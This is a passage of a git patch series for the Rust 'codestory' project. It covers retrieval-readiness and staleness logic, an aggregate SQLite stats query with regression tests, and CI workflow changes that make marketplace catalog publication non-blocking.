*stats - .dense_reason_counts - .entry(anchor.selection_reason) - .or_insert(0) += 1; - } - } - - Ok(stats) -} - -fn observe_optional_string( - first: &mut Option>, - value: &mut Option, - mixed: &mut bool, - current: Option<&str>, -) { - let current = current.map(str::to_string); - match first { - Some(first) if first != ¤t => *mixed = true, - Some(_) => {} - None => { - *value = current.clone(); - *first = Some(current); - } - } -} - #[cfg(test)] mod tests { use super::*; diff --git a/crates/codestory-retrieval/src/lib.rs b/crates/codestory-retrieval/src/lib.rs index 5166d3b29..ce6ead1ea 100644 --- a/crates/codestory-retrieval/src/lib.rs +++ b/crates/codestory-retrieval/src/lib.rs @@ -76,7 +76,7 @@ pub use executor::{ }; pub use generation::{ SEMANTIC_POLICY_VERSION, SIDECAR_SCHEMA_VERSION, SIDECAR_SEMANTIC_DOC_CONTRACT_CHANGED, - manifest_unavailable_reason_for_runtime, + manifest_unavailable_reason_for_runtime, storage_admission_refusal_reason_for_runtime, }; pub use health::{ ComponentHealth, ComponentStatus, InfrastructureHealth, RetrievalManifestContractReport, diff --git a/crates/codestory-retrieval/src/sidecar.rs b/crates/codestory-retrieval/src/sidecar.rs index 6a1d934ce..cbef5805c 100644 --- a/crates/codestory-retrieval/src/sidecar.rs +++ b/crates/codestory-retrieval/src/sidecar.rs @@ -1,7 +1,8 @@ use crate::config::{SidecarProfile, SidecarRuntimeConfig}; use crate::generation::{ - SIDECAR_SEMANTIC_DOC_CONTRACT_CHANGED, manifest_has_current_sidecar_contract, - manifest_staleness_reason_for_runtime, manifest_unavailable_reason_for_runtime, + SIDECAR_SEMANTIC_DOC_CONTRACT_CHANGED, incomplete_incremental_run_reason, + manifest_has_current_sidecar_contract, manifest_staleness_reason_for_runtime, + manifest_unavailable_reason_for_runtime, }; use crate::health::{ RetrievalStatusReport, attach_manifest_contract, probe_sidecar_health_for_runtime, @@ -269,11 +270,11 @@ fn strict_readiness_unavailable_reason_for_runtime( runtime: &SidecarRuntimeConfig, producer_compatibility_identity: &str, ) -> Result> { - if storage - .has_incomplete_incremental_run() - .context("inspect incomplete incremental index marker")? - { - return Ok(Some("incomplete_incremental_index_run".into())); + // Shared with the `&Store`-only projection in `codestory-runtime` through + // `storage_admission_refusal_reason_for_runtime`, so agent-facing readiness + // cannot promise hybrid retrieval this marker already refuses. + if let Some(reason) = incomplete_incremental_run_reason(storage) { + return Ok(Some(reason)); } if !manifest_has_current_sidecar_contract(project_id, manifest) { return Ok(None); diff --git a/crates/codestory-runtime/src/search_publication.rs b/crates/codestory-runtime/src/search_publication.rs index fa85063b2..9aeacb1e1 100644 --- a/crates/codestory-runtime/src/search_publication.rs +++ b/crates/codestory-runtime/src/search_publication.rs @@ -747,7 +747,7 @@ pub(super) fn retrieval_state_from_storage( /// forever on stores whose sidecar vectors were fully published — including /// every fresh auto-bootstrap. /// -/// Cost and parity: resolving the manifest key goes through +/// Manifest identity: resolving the manifest key goes through /// `sidecar_project_id_for_root`, which re-observes project identity with /// three git subprocesses per call (`config --get remote.origin.url`, /// `rev-parse HEAD^{tree}`, and a workload-dependent `status --porcelain`) @@ -755,13 +755,36 @@ pub(super) fn retrieval_state_from_storage( /// storage-derived staleness scan. That is deliberately the same uncached /// helper per-search sidecar admission uses /// (`retrieval_primary::retrieval_manifest_exists`), so this projection and -/// admission can never disagree about which manifest row is current. Do not +/// admission can never disagree about *which manifest row is current*. Do not /// substitute a cached identity here without proving admission reads the same -/// cache. The staleness scan is likewise the same helper admission gates on -/// (`manifest_unavailable_reason_for_runtime`) and costs the same per-call -/// symbol-doc count and dense-anchor sweep admission already pays: freshness -/// derived from manifest shape alone would let readiness promise semantic -/// retrieval that admission then refuses. The read stays observational: no +/// cache. +/// +/// Agreement with admission is one-directional, not equality. Freshness comes +/// from `storage_admission_refusal_reason_for_runtime`, the subset of sidecar +/// admission derivable from `&Storage` alone: the incomplete-incremental-run +/// marker plus the manifest staleness scan. `SidecarQuery::begin` runs a +/// second gate, `validate_strict_sidecar_readiness_for_runtime`, which is +/// `pub(crate)` in `codestory-retrieval` and structurally unreachable from +/// here because it also needs the storage path, the project root's workspace +/// manifest, and a producer compatibility identity. So this projection can +/// still report hybrid for a publication that gate refuses — on +/// `indexable_file_added_or_changed_after_retrieval_manifest`, +/// `indexed_file_removed_after_retrieval_manifest`, +/// `indexed_file_error_retry_required`, `sidecar_input_hash_changed`, or the +/// two symbol-doc backend reasons. What is guaranteed is the direction that +/// matters for not over-claiming: everything consulted here also makes +/// admission refuse, so readiness never promises hybrid over a refusal this +/// projection can see. `retrieval status` runs both gates and is the surface +/// to trust for exact parity. Closing the remaining gap means making the +/// strict gate reachable with a `&Storage`-only signature, not adding another +/// private re-derivation here. +/// +/// Cost: the staleness scan is two aggregate counts (symbol docs and the +/// grouped `dense_anchor_input` projection), not a row sweep — see +/// `Storage::dense_anchor_input_stats`. This runs on observational callers +/// (project open, `retrieval_state`, grounding snapshots), so it must stay +/// aggregate-only; paging `DenseAnchorInput`s here would put every anchor's +/// `document_text` on a status call. The read stays observational: no /// probing, repair, or refresh. pub(super) fn retrieval_state_from_storage_for_runtime( storage: &Storage, @@ -788,14 +811,14 @@ pub(super) fn retrieval_state_from_storage_for_runtime( // *and* the store the sidecar would be served from still agrees with it. // Manifest shape alone is not enough: a core-only refresh leaves the // manifest untouched while moving the symbol docs, dense anchors, and - // indexed-file mtimes underneath it, so admission - // (`manifest_unavailable_reason_for_runtime`) refuses to serve a - // publication that a shape-only projection still advertises as hybrid. - // Consulting the same storage-derived staleness admission uses is what - // keeps the two surfaces from contradicting each other. + // indexed-file mtimes underneath it, and an interrupted incremental run + // leaves all three untouched while still making admission refuse. Both are + // storage-derived, so both are read here through the one helper admission + // shares (`storage_admission_refusal_reason_for_runtime`) — see this + // function's doc comment for the strict gate this still cannot see. let stale_publication = manifest.as_ref().is_some_and(|manifest| { !codestory_retrieval::manifest_classifies_full(manifest) - || codestory_retrieval::manifest_unavailable_reason_for_runtime( + || codestory_retrieval::storage_admission_refusal_reason_for_runtime( &project_id, storage, manifest, @@ -806,17 +829,26 @@ pub(super) fn retrieval_state_from_storage_for_runtime( let contract_mismatch = manifest .as_ref() .is_some_and(|manifest| !manifest_matches_current_embedding_contract(manifest, runtime)); - let runtime_degraded = - semantic_doc_count > 0 && probe.available && (stale_publication || contract_mismatch); - // A current, contract-matched full publication may legitimately select - // zero dense anchors (generation only requires the dense count to equal - // the projection count). Admission serves that sidecar as full, so the - // semantic lane is published-and-empty, not unbuilt: reporting - // `missing_semantic_docs` here would prescribe a refresh that republishes - // the identical zero-anchor manifest and can never clear the message. - let zero_dense_published = manifest.as_ref().is_some_and(|manifest| { - manifest.dense_projection_count == Some(0) && !stale_publication && !contract_mismatch - }); + // A full publication may legitimately select zero dense anchors (generation + // only requires the dense count to equal the projection count), so a + // zero-anchor manifest still describes a *built* semantic lane. It must + // therefore be able to degrade like any other publication: gating + // `runtime_degraded` on `semantic_doc_count > 0` alone made a stale + // zero-anchor sidecar fall through to `missing_semantic_docs` — "semantic + // symbol docs have not been built yet" for a lane that was built and is + // merely stale, and doctor's "stale or degraded" gap never fired for it. + let zero_dense_manifest = manifest + .as_ref() + .is_some_and(|manifest| manifest.dense_projection_count == Some(0)); + let runtime_degraded = (semantic_doc_count > 0 || zero_dense_manifest) + && probe.available + && (stale_publication || contract_mismatch); + // A *current, contract-matched* zero-anchor publication is the other half: + // admission serves it as full, so the lane is published-and-empty rather + // than unbuilt. Reporting `missing_semantic_docs` there would prescribe a + // refresh that republishes the identical zero-anchor manifest and can + // never clear the message. + let zero_dense_published = zero_dense_manifest && !stale_publication && !contract_mismatch; let fallback_message = probe.fallback_message.or_else(|| { if !runtime_degraded { None diff --git a/crates/codestory-runtime/src/tests.rs b/crates/codestory-runtime/src/tests.rs index 309566891..c518bc327 100644 --- a/crates/codestory-runtime/src/tests.rs +++ b/crates/codestory-runtime/src/tests.rs @@ -2169,7 +2169,7 @@ fn retrieval_state_reports_hybrid_ready_from_published_manifest_without_legacy_d } #[test] -fn core_only_refresh_keeps_readiness_and_sidecar_admission_in_agreement() { +fn indexed_file_newer_than_manifest_stops_readiness_promising_hybrid() { // Regression: readiness derived freshness from manifest *shape* while // strict sidecar admission derives staleness from *storage*. A core-only // refresh moves the indexed-file mtimes underneath an untouched manifest, @@ -2177,6 +2177,14 @@ fn core_only_refresh_keeps_readiness_and_sidecar_admission_in_agreement() { // no fallback for a publication admission simultaneously refused to serve // — the agent got an error contradicting what readiness had just promised. // + // Scope: this pins exactly one refusal reason, + // `indexed_file_newer_than_retrieval_manifest`. It is not a proof that + // readiness and admission agree in general — admission's strict gate + // refuses on reasons no `&Storage`-only caller can re-derive (see + // `retrieval_state_from_storage_for_runtime`'s doc comment). + // `interrupted_incremental_run_stops_readiness_promising_hybrid` pins the + // other storage-derivable reason. + // // Both directions matter: readiness must not over-claim once admission // refuses, and must not newly under-claim while admission still serves. let _env = hybrid_test_env(); @@ -2275,6 +2283,177 @@ fn core_only_refresh_keeps_readiness_and_sidecar_admission_in_agreement() { assert_eq!(wire["semantic_ready"], serde_json::json!(false)); } +#[test] +fn interrupted_incremental_run_stops_readiness_promising_hybrid() { + // Regression: folding only the *manifest* staleness gate into readiness + // left the original #1557 symptom reachable. Interrupt an incremental index + // and the manifest, symbol-doc count, dense anchors, and indexed-file + // mtimes all still agree — `manifest_unavailable_reason_for_runtime` + // returns None — while sidecar admission refuses the very next search with + // `retrieval_manifest_stale: incomplete_incremental_index_run`. Readiness + // must gate on that marker too. + let _env = hybrid_test_env(); + let temp = tempdir().expect("temp dir"); + let project_root = temp.path().join("project"); + fs::create_dir_all(&project_root).expect("project root"); + let storage_path = temp.path().join("codestory.db"); + let mut storage = Storage::open(&storage_path).expect("open storage"); + let manifest = publish_admissible_full_retrieval_manifest(&mut storage, &project_root); + let runtime = test_sidecar_runtime_from_env(); + let project_id = codestory_retrieval::sidecar_project_id_for_root(&project_root); + + // Baseline: a complete store readiness truthfully reports as hybrid. + let served = crate::search_publication::retrieval_state_from_storage_for_runtime( + &storage, + &project_root, + &runtime, + ) + .expect("served retrieval state"); + assert_eq!(served.mode, RetrievalModeDto::Hybrid); + assert!(served.semantic_ready); + assert_eq!(served.fallback_reason, None); + + // Interrupt an incremental run: the marker is set and nothing else moves. + storage + .begin_incremental_run() + .expect("mark incremental run in flight"); + assert!( + storage + .has_incomplete_incremental_run() + .expect("incremental marker"), + "the interrupted-run marker must survive for the next process to see" + ); + assert_eq!( + codestory_retrieval::manifest_unavailable_reason_for_runtime( + &project_id, + &storage, + &manifest, + &runtime, + ), + None, + "an interrupted incremental run leaves the manifest gate satisfied — \ + that is exactly why readiness cannot stop at that gate" + ); + let refusal = codestory_retrieval::storage_admission_refusal_reason_for_runtime( + &project_id, + &storage, + &manifest, + &runtime, + ) + .expect("admission must refuse a store with an interrupted incremental run"); + assert!( + refusal.contains("incomplete_incremental_index_run"), + "unexpected admission refusal: {refusal}" + ); + + let refused = crate::search_publication::retrieval_state_from_storage_for_runtime( + &storage, + &project_root, + &runtime, + ) + .expect("refused retrieval state"); + assert_eq!( + refused.mode, + RetrievalModeDto::Symbolic, + "readiness must not promise hybrid retrieval admission refuses to serve" + ); + assert!(!refused.semantic_ready); + assert_ne!(refused.semantic_mode, SemanticModeDto::Enabled); + assert_eq!( + refused.fallback_reason, + Some(RetrievalFallbackReasonDto::DegradedRuntime), + "an interrupted run leaves a built-but-unservable lane, not an unbuilt one" + ); + let wire = serde_json::to_value(&refused).expect("serialize refused retrieval state"); + assert_ne!(wire["mode"], serde_json::json!("hybrid")); + assert_eq!(wire["semantic_ready"], serde_json::json!(false)); + + // Completing the run clears the marker and readiness recovers, so the gate + // is a marker check and not a permanent downgrade. + storage + .finish_incremental_run() + .expect("clear incremental marker"); + let recovered = crate::search_publication::retrieval_state_from_storage_for_runtime( + &storage, + &project_root, + &runtime, + ) + .expect("recovered retrieval state"); + assert_eq!(recovered.mode, RetrievalModeDto::Hybrid); + assert_eq!(recovered.fallback_reason, None); +} + +#[test] +fn stale_zero_dense_publication_reports_degraded_not_missing_docs() { + // Regression: a zero-anchor manifest is a *built* semantic lane, so once + // storage staleness fed the readiness projection, a stale one flipped + // `zero_dense_published` off and — because `runtime_degraded` required + // `semantic_doc_count > 0` — fell through to `missing_semantic_docs`: + // "semantic symbol docs have not been built yet" for a lane that was built + // and is merely stale. It also meant doctor's `DegradedRuntime` gap ("the + // published retrieval index is stale or degraded") never fired for these + // publications. + let _env = hybrid_test_env(); + let temp = tempdir().expect("temp dir"); + let project_root = temp.path().join("project"); + fs::create_dir_all(&project_root).expect("project root"); + let storage_path = temp.path().join("codestory.db"); + let mut storage = Storage::open(&storage_path).expect("open storage"); + let mut manifest = published_full_retrieval_manifest(&project_root); + manifest.projection_count = Some(0); + manifest.symbol_doc_count = Some(0); + manifest.dense_projection_count = Some(0); + storage + .upsert_retrieval_index_manifest(&manifest) + .expect("publish zero-dense manifest"); + let runtime = test_sidecar_runtime_from_env(); + let project_id = codestory_retrieval::sidecar_project_id_for_root(&project_root); + + // The ordinary case: the user edited a file after the sidecar was built. + storage + .insert_files_batch(&[FileInfo { + id: 200_001, + path: project_root.join("edited.rs"), + language: "rust".to_string(), + modification_time: manifest.built_at_epoch_ms + 60_000, + indexed: true, + complete: true, + line_count: 1, + file_role: codestory_store::FileRole::Source, + }]) + .expect("seed edited indexed file"); + let refusal = codestory_retrieval::storage_admission_refusal_reason_for_runtime( + &project_id, + &storage, + &manifest, + &runtime, + ) + .expect("admission must refuse a zero-dense sidecar older than the index"); + assert!( + refusal.contains("indexed_file_newer_than_retrieval_manifest"), + "unexpected admission refusal: {refusal}" + ); + + let state = crate::search_publication::retrieval_state_from_storage_for_runtime( + &storage, + &project_root, + &runtime, + ) + .expect("stale zero-dense retrieval state"); + assert_eq!(state.mode, RetrievalModeDto::Symbolic); + assert!(!state.semantic_ready); + assert_eq!( + state.fallback_reason, + Some(RetrievalFallbackReasonDto::DegradedRuntime), + "a stale zero-anchor publication was built; it is degraded, not unbuilt" + ); + let message = state.fallback_message.expect("stale state must state why"); + assert!( + message.contains("stale or degraded"), + "a stale zero-anchor publication must not be described as never built: {message}" + ); +} + #[test] fn zero_dense_full_publication_reports_ready_without_missing_docs() { // A tiny project can legally publish a current, non-degraded full sidecar @@ -2320,9 +2499,13 @@ fn zero_dense_full_publication_reports_ready_without_missing_docs() { "the truthful published state remains visible as a zero dense count" ); - // A zero-dense manifest that is stale or mismatched keeps the unbuilt - // classification: there a refresh genuinely rebuilds the publication, so - // the repair advice stays truthful and the state stays fail-closed. + // A zero-dense manifest that is stale or mismatched stops being ready, and + // says so as a *degraded* publication. It was previously classified + // `missing_semantic_docs`, which is the one thing that is not true of it: + // the lane was built, it just no longer matches the current contract. The + // fail-closed assertions (symbolic, not ready) are what this pins; the + // reason is asserted because it drives doctor's stale-or-degraded gap and + // the repair sentence the agent is shown. let mut mismatched = manifest.clone(); mismatched.embedding_backend = Some("legacy-backend".to_string()); storage @@ -2338,7 +2521,18 @@ fn zero_dense_full_publication_reports_ready_without_missing_docs() { assert!(!state.semantic_ready); assert_eq!( state.fallback_reason, - Some(RetrievalFallbackReasonDto::MissingSemanticDocs) + Some(RetrievalFallbackReasonDto::DegradedRuntime) + ); + let message = state + .fallback_message + .expect("a mismatched publication must state why"); + assert!( + message.contains("do not match the current embedding contract"), + "the repair advice must name the contract mismatch: {message}" + ); + assert!( + !message.contains("have not been built yet"), + "a published zero-anchor lane must never be described as unbuilt: {message}" ); } diff --git a/crates/codestory-store/src/lib.rs b/crates/codestory-store/src/lib.rs index db37e141f..83026ace8 100644 --- a/crates/codestory-store/src/lib.rs +++ b/crates/codestory-store/src/lib.rs @@ -22,13 +22,13 @@ pub use storage_impl::{ BUILD_EDGE_SEED_BATCH_SIZE, BuildNodeLookup, CURRENT_SCHEMA_VERSION, CallerProjectionRemovalSummary, CorePromotionStats, DENSE_ANCHOR_MIGRATION_STATE_NATIVE, DENSE_ANCHOR_PUBLICATION_SCHEMA_VERSION, DatabaseSnapshotCopyStats, DenseAnchorInput, - DenseAnchorInputReuseMetadata, DenseAnchorPublicationManifest, DenseReasonCounts, - FileContentHash, FileInfo, FileProjectionRemovalSummary, FileRole, GroundingEdgeKindCount, - GroundingFileSummary, GroundingNodeRecord, GroundingSnapshotMetadata, GroundingSnapshotState, - IndexArtifactCacheReader, IndexArtifactCacheWrite, IndexPublicationMode, - IndexPublicationRecord, LlmSymbolDoc, LlmSymbolDocReuseMetadata, LlmSymbolDocStats, - ProjectionFlushBreakdown, ProjectionPersistenceFamilyStats, ProjectionPersistenceStats, - RetrievalIndexManifest, RetrievalIndexRollbackRecord, + DenseAnchorInputReuseMetadata, DenseAnchorInputStats, DenseAnchorPublicationManifest, + DenseReasonCounts, FileContentHash, FileInfo, FileProjectionRemovalSummary, FileRole, + GroundingEdgeKindCount, GroundingFileSummary, GroundingNodeRecord, GroundingSnapshotMetadata, + GroundingSnapshotState, IndexArtifactCacheReader, IndexArtifactCacheWrite, + IndexPublicationMode, IndexPublicationRecord, LlmSymbolDoc, LlmSymbolDocReuseMetadata, + LlmSymbolDocStats, ProjectionFlushBreakdown, ProjectionPersistenceFamilyStats, + ProjectionPersistenceStats, RetrievalIndexManifest, RetrievalIndexRollbackRecord, SOURCE_POLICY_EXCLUSION_PUBLICATION_SCHEMA_VERSION, STRUCTURAL_TEXT_UNIT_DESCRIPTOR_VERSION, STRUCTURAL_TEXT_UNIT_MIGRATION_STATE_NATIVE, STRUCTURAL_TEXT_UNIT_PUBLICATION_SCHEMA_VERSION, SearchSymbolProjection, SearchSymbolProjectionDetail, SourcePolicyExclusionManifest, diff --git a/crates/codestory-store/src/storage_impl/mod.rs b/crates/codestory-store/src/storage_impl/mod.rs index 1ffc7580a..791361bff 100644 --- a/crates/codestory-store/src/storage_impl/mod.rs +++ b/crates/codestory-store/src/storage_impl/mod.rs @@ -3286,6 +3286,21 @@ pub struct DenseAnchorInputReuseMetadata { pub source_identity: String, } +/// Row-count shape of the published dense-anchor table. +/// +/// Freshness checks only need the counts and the policy-version agreement, so +/// this is deliberately the aggregate projection rather than the rows: it is +/// what staleness callers must use so an observational readiness or status +/// call never materializes `document_text` for the whole table. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct DenseAnchorInputStats { + pub doc_count: u32, + /// Policy version of the lowest `node_id`, matching a row-order scan. + pub policy_version: Option, + pub mixed_policy_versions: bool, + pub selection_reason_counts: BTreeMap, +} + pub const DENSE_ANCHOR_PUBLICATION_SCHEMA_VERSION: u32 = 1; pub const DENSE_ANCHOR_MIGRATION_STATE_NATIVE: &str = "native_v1"; const DENSE_ANCHOR_DIGEST_DOMAIN: &[u8] = b"codestory-dense-anchor-publication-v1\0"; @@ -7492,6 +7507,55 @@ impl Storage { Ok(inputs) } + /// Aggregate the published dense-anchor table without reading any row. + /// + /// Staleness comparison needs four numbers: how many anchors exist, how + /// they break down by selection reason, whether they agree on a policy + /// version, and which version that is. Paging + /// `get_dense_anchor_inputs_batch_after` to derive them `SELECT`s + /// `document_text` for every anchor and materializes a full + /// `DenseAnchorInput` per row — tens of megabytes of string allocation on + /// a large repository, paid on every observational readiness or status + /// call that re-derives freshness. SQLite answers all four from one + /// grouped scan that never touches the document column, so the group + /// cardinality is `distinct(selection_reason) x distinct(policy_version)` + /// rather than the anchor count. `MIN(node_id)` per group reproduces the + /// row-order "first policy version wins" rule exactly. + pub fn dense_anchor_input_stats(&self) -> Result { + let mut stmt = self.conn.prepare( + "SELECT selection_reason, policy_version, COUNT(*), MIN(node_id) + FROM dense_anchor_input + GROUP BY selection_reason, policy_version", + )?; + let mut rows = stmt.query([])?; + let mut stats = DenseAnchorInputStats::default(); + let mut policy_versions: BTreeSet = BTreeSet::new(); + let mut first_policy: Option<(i64, String)> = None; + while let Some(row) = rows.next()? { + let selection_reason: String = row.get(0)?; + let policy_version: String = row.get(1)?; + let count: i64 = row.get(2)?; + let min_node_id: i64 = row.get(3)?; + let count = u32::try_from(count).unwrap_or(u32::MAX); + stats.doc_count = stats.doc_count.saturating_add(count); + let reason_count = stats + .selection_reason_counts + .entry(selection_reason) + .or_insert(0); + *reason_count = reason_count.saturating_add(count); + if first_policy + .as_ref() + .is_none_or(|(lowest, _)| min_node_id < *lowest) + { + first_policy = Some((min_node_id, policy_version.clone())); + } + policy_versions.insert(policy_version); + } + stats.mixed_policy_versions = policy_versions.len() > 1; + stats.policy_version = first_policy.map(|(_, version)| version); + Ok(stats) + } + pub fn get_dense_anchor_input_reuse_metadata( &self, ) -> Result, StorageError> { diff --git a/crates/codestory-store/src/storage_impl/tests/mod.rs b/crates/codestory-store/src/storage_impl/tests/mod.rs index 378d2fffe..a911b185a 100644 --- a/crates/codestory-store/src/storage_impl/tests/mod.rs +++ b/crates/codestory-store/src/storage_impl/tests/mod.rs @@ -3172,6 +3172,127 @@ fn dense_anchor_inputs_round_trip_prune_and_copy_with_node_ownership() -> Result Ok(()) } +#[test] +fn dense_anchor_input_stats_aggregate_without_reading_document_text() -> Result<(), StorageError> { + // Regression: retrieval staleness derived these four numbers by paging + // `get_dense_anchor_inputs_batch_after`, which SELECTs `document_text` and + // builds a full `DenseAnchorInput` per anchor. That scan sits on + // observational readiness and status calls (project open, retrieval_state, + // grounding snapshots), so on a large repository every status call + // allocated the whole corpus of anchor documents just to count rows. The + // aggregate must answer from the grouped scan and never touch the document + // column. + let mut storage = Storage::new_in_memory()?; + storage.insert_nodes_batch(&[ + file_node(700, "src/lib.rs"), + Node { + id: NodeId(701), + kind: NodeKind::FUNCTION, + serialized_name: "function_701".to_string(), + file_node_id: Some(NodeId(700)), + ..Default::default() + }, + Node { + id: NodeId(702), + kind: NodeKind::FUNCTION, + serialized_name: "function_702".to_string(), + file_node_id: Some(NodeId(700)), + ..Default::default() + }, + Node { + id: NodeId(703), + kind: NodeKind::FUNCTION, + serialized_name: "function_703".to_string(), + file_node_id: Some(NodeId(700)), + ..Default::default() + }, + ])?; + let mut entrypoint = dense_anchor(703, Some(700), "core:g1:r1"); + entrypoint.selection_reason = "entrypoint".to_string(); + // A document large enough that materializing it is the dominant cost. + entrypoint.text = "x".repeat(64 * 1024); + storage.upsert_dense_anchor_inputs_batch(&[ + dense_anchor(701, Some(700), "core:g1:r1"), + dense_anchor(702, Some(700), "core:g1:r1"), + entrypoint, + ])?; + + let document_reads = Arc::new(AtomicUsize::new(0)); + let anchor_reads = Arc::new(AtomicUsize::new(0)); + let observed_documents = Arc::clone(&document_reads); + let observed_anchors = Arc::clone(&anchor_reads); + storage + .conn + .authorizer(Some(move |context: AuthContext<'_>| { + if let AuthAction::Read { + table_name, + column_name, + .. + } = context.action + && table_name == "dense_anchor_input" + { + observed_anchors.fetch_add(1, AtomicOrdering::SeqCst); + if column_name == "document_text" { + observed_documents.fetch_add(1, AtomicOrdering::SeqCst); + } + } + Authorization::Allow + }))?; + + let stats = storage.dense_anchor_input_stats()?; + assert!( + anchor_reads.load(AtomicOrdering::SeqCst) > 0, + "the authorizer must actually observe the aggregate's column reads" + ); + assert_eq!( + document_reads.load(AtomicOrdering::SeqCst), + 0, + "the staleness aggregate must never read anchor document text" + ); + + // The row-paging path staleness used to take does read it, so the + // assertion above is a real difference and not a vacuous one. + document_reads.store(0, AtomicOrdering::SeqCst); + let rows = storage.get_dense_anchor_inputs_batch_after(None, 1024)?; + assert_eq!(rows.len(), 3); + assert!( + document_reads.load(AtomicOrdering::SeqCst) > 0, + "paging anchor rows reads document text — that is the cost being avoided" + ); + storage + .conn + .authorizer(None::) -> Authorization>)?; + + // ...and the aggregate still reports exactly what a row scan would. + assert_eq!(stats.doc_count, 3); + assert_eq!(stats.policy_version.as_deref(), Some("dense-anchor-v1")); + assert!(!stats.mixed_policy_versions); + assert_eq!( + stats.selection_reason_counts, + BTreeMap::from([ + ("public_symbol".to_string(), 2u32), + ("entrypoint".to_string(), 1u32), + ]) + ); + + // A second policy version anywhere in the table is the mixed signal, and + // the reported version stays the one at the lowest node id. + let mut drifted = dense_anchor(702, Some(700), "core:g1:r1"); + drifted.policy_version = "dense-anchor-v2".to_string(); + storage.upsert_dense_anchor_inputs_batch(&[drifted])?; + let stats = storage.dense_anchor_input_stats()?; + assert!(stats.mixed_policy_versions); + assert_eq!(stats.policy_version.as_deref(), Some("dense-anchor-v1")); + assert_eq!(stats.doc_count, 3); + + assert_eq!( + Storage::new_in_memory()?.dense_anchor_input_stats()?, + DenseAnchorInputStats::default(), + "an unpublished store reports zero anchors, not an error" + ); + Ok(()) +} + #[test] fn dense_anchor_manifest_rebinds_carry_forward_and_detects_mutation() -> Result<(), StorageError> { let mut storage = Storage::new_in_memory()?; From 85e4be092481ad5830ebf00e61360e78c3607453 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:16:59 -0500 Subject: [PATCH 031/132] give the pull-request suite the history its binding proof needs Moving the reuse-binding test into the suite pull requests actually run exposed why it had only ever run at release time: it proves tree identity and native fingerprints against this repository's real v0.16.0 -> v0.16.1 history, and the default depth-1 clone cannot resolve those commits at all. The test failed on the runner while passing in every full checkout, including release. The release workflow's own contract job already fetches full history for this exact reason. The plugin static job now does the same, with the same note, so the one real-git proof of the function both the producer and the closeout trust runs before a change to it can merge rather than after. Refs #1552 Co-Authored-By: Claude Opus 5 --- .github/workflows/plugin-static.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.github/workflows/plugin-static.yml b/.github/workflows/plugin-static.yml index ed8da8f08..6ff39717f 100644 --- a/.github/workflows/plugin-static.yml +++ b/.github/workflows/plugin-static.yml @@ -144,6 +144,11 @@ jobs: timeout-minutes: 10 steps: - uses: actions/checkout@v5 + with: + # The reuse-binding contracts verify tree identity and native + # fingerprints against this repository's real release history, so the + # default depth-1 clone cannot answer them. + fetch-depth: 0 - name: Install workflow policy dependencies run: npm ci --ignore-scripts From 66bf1fd6215d7a41edfb505ab6b3cf4f230d4bec Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:17:58 -0500 Subject: [PATCH 032/132] sharpen the neutering probe to one only the whole-script pin can see The first version of this mutation replaced the guard with a `true` call, which the fragment assertions already catch, so it did not isolate what the digest is for. Deleting the `exit 1` lines instead keeps both anchored regexes, both comparisons and the absence of grep intact while the guard refuses nothing -- the digest is then the only violation reported. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.test.mjs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 479139495..845b0fc6b 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2407,12 +2407,12 @@ test("marketplace sync keeps dispatch inputs out of script text", async (t) => { const step = draftStep(workflow.jobs.sync, guard); step.run = step.run.replace("(-[0-9A-Za-z.]+)?$'", "'"); }, /must run version_shape='\^\[0-9\]\+\\\.\[0-9\]\+\\\.\[0-9\]\+\(-\[0-9A-Za-z\.\]\+\)\?\$'/u], - // Substring assertions prove a string is present, not that it is consulted. Both of these keep - // every pinned regex verbatim while the guard stops rejecting anything. - ["the guard body becomes a no-op that still quotes its regexes", workflow => { - draftStep(workflow.jobs.sync, guard).run = - "set -euo pipefail\ntrue 'commit_shape=^[0-9a-fA-F]{7,40}$'" - + " 'version_shape=^[0-9]+\\.[0-9]+\\.[0-9]+(-[0-9A-Za-z.]+)?$'\n"; + // Substring assertions prove a string is present, not that it is consulted. This body satisfies + // every fragment above -- both anchored regexes, both comparisons, no grep -- and refuses + // nothing, so only a pin over the whole script can see it. + ["the guard keeps every pinned fragment and stops refusing anything", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replaceAll("exit 1", ":"); }, /must match the reviewed dispatch coordinate guard script exactly/u], ["the commit comparison is rewired away from its regex", workflow => { const step = draftStep(workflow.jobs.sync, guard); From 96174f7c7202bdee9b40d9d2c74c42bd4e1716f1 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 10:08:12 -0500 Subject: [PATCH 033/132] stop treating catalog publication as a release gate `marketplace-publish` runs after `publish` has already created the tag and the GitHub release. Neither the `marketplace-publish` environment nor `MARKETPLACE_APP_ID`/`MARKETPLACE_APP_PRIVATE_KEY` exists in this repository, so the first release to get past pre-publish closeout would tag, publish, then die minting the token -- and take `post-publish-smoke` down with it, because the smoke needed `marketplace-publish` to have succeeded. That converts a recoverable delivery gap into an unrecoverable release failure, for a step whose failure mode is benign: the catalog keeps serving the previous release, so no user is ever offered a plugin that does not exist. Make it delivery. Both lanes' catalog jobs absorb their own failure and record one of two explicit states, and both post-publish smokes run either way. The whole risk in removing a gate is that something quietly becomes true, so nothing here is allowed to be an absence: - The claim is minted in exactly one step, which requires the token, the push, AND a 40-hex revision to have all landed. Anything else -- a skipped push, a push that "succeeded" without a revision, a mutable ref -- records deferred. - The smoke takes the recorded outcome as an explicit `catalog_published` input and refuses an inconsistent handoff in both directions: published demands an immutable live revision, deferred demands the absence of one, and an unset or unrecognized value stops the job rather than defaulting into published. - Deferred does not check less. It resolves a real Codex install of the real published artifacts through a catalog pinned to the released commit -- the same fixture mechanics preflight already proves -- and stamps a distinct installer identity, `codex_marketplace_deferred_fixture`, into the post-publish release cells. A release can therefore never record that the public catalog served it when the catalog was never updated. - One attempt only. A retry would collapse distinguishable failures into one opaque one and could publish after the outcome was already recorded. `release-claims.json` gains `workflow_policy.catalog_delivery`, naming both states, their two distinct installer identities, the recovery workflow, and `release_gate: false`. The claim-graph validator refuses a graph that drops it, reinstates the gate, collapses the two installer 